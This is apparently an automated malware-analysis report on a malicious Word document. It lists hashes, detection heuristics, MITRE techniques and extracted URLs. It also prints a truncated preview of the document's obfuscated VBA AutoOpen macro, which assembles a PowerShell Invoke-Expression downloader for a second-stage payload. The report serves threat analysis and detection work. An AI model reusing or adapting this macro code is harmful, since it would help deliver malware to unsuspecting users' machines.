Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 c462b00bfbd8e3bd…

MALICIOUS

Office (OLE)

106.0 KB Created: 2018-02-08 07:58:00 Authoring application: Microsoft Office Word First seen: 2018-02-19
MD5: 6befbf5dd929763232cad0b66043c6b3 SHA-1: dab90dbaba18e1e44f42f53d5c5cf0d7f5d67da1 SHA-256: c462b00bfbd8e3bd79fe54c2bd74850b3a4a6d67b36cf3dc088462910b593b81
242 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is a malicious Office document containing a VBA macro with an AutoOpen function. This macro utilizes the Shell() function, indicating an attempt to execute external commands. The ClamAV detection name 'Img.Dropper.PhishingLure-6443153-0' suggests a phishing lure, and the presence of embedded URLs further supports this. The macro's primary function appears to be downloading and executing a second-stage payload.

Heuristics 7

  • ClamAV: Img.Dropper.PhishingLure-6443153-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Img.Dropper.PhishingLure-6443153-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://FN0+FN0D8B+D8BreviD8B+D8BeD8B+D8BwDPUs+PUs8B+D8FN0PUs+PUs+FN0B In document text (OLE body)
    • https://www.blueD8B+D8ByaD8B+D8BcD8B+D8BhtkjbJjQIn document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 25475 bytes
SHA-256: b0aac0bb23248cd37d639389f7db84a615c4d9c3b2f9a76caa779d5950f15c40
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "vGGzoZa"
Sub AutoOpen()
On Error Resume Next
iOHcaVUSW = IidUBlUOqjawZ - hnsnDuFH / (8447123 + iqrOPdF - 289062 + tNRmGDZBJ)
wnGfoAumc = OblAqbqKuGzN - ZjjsQAmjdtv / (1782392 + wwBqTcA - 4636275 + nHNaLQtfuKkJ)
hwIHdmqzl = prmfrIDnXNFm - YfqoWqwwlYuPCt / (6674286 + pKaBFSVojYkbH - 7474017 + DuAjcnzTGn)
Application.Run "awMkcAKifwai", tJPJPzNUj
jDTrPoOVz = CflpFKCIzGWr - ArUBKGCsqTOWPC / (9389007 + jVGJFVYJL - 5707523 + lpWAQrESA)
vnEOvpLLW = qHFrNkPhtf - KqjoQDUTw / (5842453 + kwVwRsOQ - 1810468 + nrnKjzIPA)
End Sub
Function tJPJPzNUj()
On Error Resume Next
mfUFB = fawwuzwiZtmquL - RElUTaRJXq / (8102342 + OzUCpsiizdzbb - 3853279 + LvasJLabWin)
kpvBO = YNQZFEMh - EqzwLhVnFKs / (9857686 + GOwzjboYwYCkJQ - 6373528 + tXPmzGF)
rSQEoYdCHhF = uziFoQUuHaH - dIXktGF / (3440958 + NBQoiMndMBzJSD - 6780647 + ijiEHcjJfalAis)
PZaOvmlUFr = XusaQHa + Mid(("rWbpt+FN0R]112+[cHA'+'R]110+[cH'+'AR]77),[cHAR]34  -repLAcE  D8BIiOD8B,['+'cHAR]36-crFN0+FN0EpLAce  PUs+PUs(bcLRcGSZwQwTwKf"), 6, 103)
pHiGhRb = sKFnnKWX - okSHJHanw / (3853276 + zWkWnjSi - 5699257 + phKBmQfMri)
kUjPzLSF = dZtwdGGzd - TbOIWZiADssuqw / (527137 + FXruaHlr - 4237226 + qaJcLhAdWGwsQq)
RSIHzsRzmRw = LnpbijvtWBjFiS - pWmZjIqa / (6314698 + tMcvLMGB - 9597107 + UwQnNvjnb)
SwsPBfZNwC = AnijvNQFEjRvY + Mid(("lAitBfLPY iNVOke-ExpReSsion( (('& ( D9rENv:CoMsP'+'Ec[4,26,25]-joINPUsPUs) ( (PUs dATOsnOFZMUu"), 10, 73)
afNrONpdj = JRoWSzKo - EkDrtGzLnbD / (9823974 + icBRilG - 3034823 + JuHnwwrdjcnwYj)
Izzwvo = TYTGfUMR - DjMUBTZiN / (1898821 + IjGHBTKsaLG - 1870167 + twFSzkawdujPlW)
bPDjZAXGjii = QDFlOFwjSLF - JUqBzZQb / (651279 + HidjifoWr - 3031645 + ibXGVvpuOnGuYQ)
MoXEwBbrOz = cRLKRZGrHoU + Mid(("btjRNzLzsMOAPBi'+'OSDC)D8PUs+PUsB+D8B;&(37D8B+D8B5InvoD8B+D8BPUs+PUs37FN0+FN05+375k3D8B+'+'D8B7D8B+D8B5+375D8B+D8BJu"), 14, 101)
spwlfNdTRFZ = aTuvTpObsSv - ibjpaAnETCs / (9181481 + BvBKZbiMQObT - 8353832 + EJojUzJMtOjbv)
KoXhRLnCF = DKYazKSuMQTr - PNMEVjNi / (9072321 + TYwboBnbzfz - 1813793 + qAUjUKz)
CiGzzwa = PdluzhJNsi - IfECBjd / (8667904 + pVLMFHVEAC - 8569319 + wHDvMjpTdN)
KFLadnoKO = mtlqUvYCwXI + Mid(("zDmNHIQ'+'PU'+'s+PUsD8Bc +D8B+D8B 3D8B+DPUs+PUs8B75IPUD8B+D8'+'PUs+'+'PUsB3D8B+FN0+FN0D8B75 D8B+D8B+ IiONSB + (D8B+D8B375.ex3D8B+D8B75+3D8B+D8B7D8B+PUs+PUsD8B5PUs+PUsD8B+D8Be3D8PUsbIUq"), 8, 173)
ctdiI = qRXiuSYorMFMqp - KYBGoDoZwcQ / (2625693 + EhjFhFBGa - 4856054 + dorzHXAO)
ahMnkdmZ = XrBkrftC - bFdEKkKcAfkoV / (6826442 + rdzLqRYbCGqNfw - 2587164 + LzOzTfY)
dBHfoEV = HmiXVdTCHCs - fiLaCiawU / (4349520 + indZoGkfLEV - 806115 + nBGZmoG)
iwaYa = zzBalwT + Mid(("JD8B'+'+PUs+PUsD8Bm/lD8B+D8BKhn5'+'rc/?htAsDzzfNziMYsUUULHAHGCMBc"), 2, 40)
tYMohOOv = HAkrEivXWjJJ - HnBYBLjQCYn / (1362256 + ARnqGiMTwmROUI - 8522362 + FYqMzjBvQDOd)
WvjwShiw = EbwkIdijfa - zKKAjKjDnhw / (9919628 + uwTQsaCPjzrKVd - 2430005 + OzZwLOoWALG)
wftzSZiBA = LpmIczqLKN - FXOOLSpOjUZZi / (4380189 + lfHzPjT - 6149730 + tMjiWnA)
BHmORXzPdk = FzWdoowoFaJ + Mid(("jvXXjsYPUs+PUsYU = D8FN0+FN0B+D8'+'B.(D8B+D8'+'B375ne375+375w375+375-objeD8B+D8Bc'+'D8B+FN0+FN0D8Bt'+'D8B+D8B3'+'D8B+D8B7D8B+'+'D8PUs+PUsB5D8B+D'+'8B) PUsaSkjHm"), 7, 148)
SUPaR = ClPDlbNKEMz - lrKUwjHs / (8697617 + FZbCZofiu - 971205 + tdTdJzGIdwHC)
alMfHwV = ijmfiUDEjjfqcj - YiZSsbs / (2739514 + rplAjQWwWiUpB - 9995139 + aBfMtnmhOEjwXo)
CTCNFkwEQ = VqVvopiC - QNhUzOMWia / (8577514 + wfUDEHWvzRzJM - 1667413 + TGLJrzKwjFS)
mKfNt = AHUbwAdDKz + Mid(("PiOzIFBmYX8PUs+PUsB(IiD8B+D8FN0+FN0BODPUs+PUs8B+'+'D8BasfD8B+F'+'N0+FN0D8Bc.'+'D8FN0+F'+'N0B+D8BpnMToD8B+D8B'+'StPUs+PUsrD8B+D8B3D8B+D8B9D8B+D8Bui39PUs+PUsuND8B+D8BgpnMD8PUs+PUsB+D8B(), FN0+FN0ID8B+DPUs+PUs8mSo"), 11, 197)
aapPJirlpz = LGUwNXHplsQT - BrljozlYW / (584521 + wCNtjTTObbft - 8059155 + SiLuOAwAjubnbM)
TAVfImrbZE = wKpDhALJOFSZCr - VzvlWPadHCqzW / (3654680 + vrGTcR
... (truncated)

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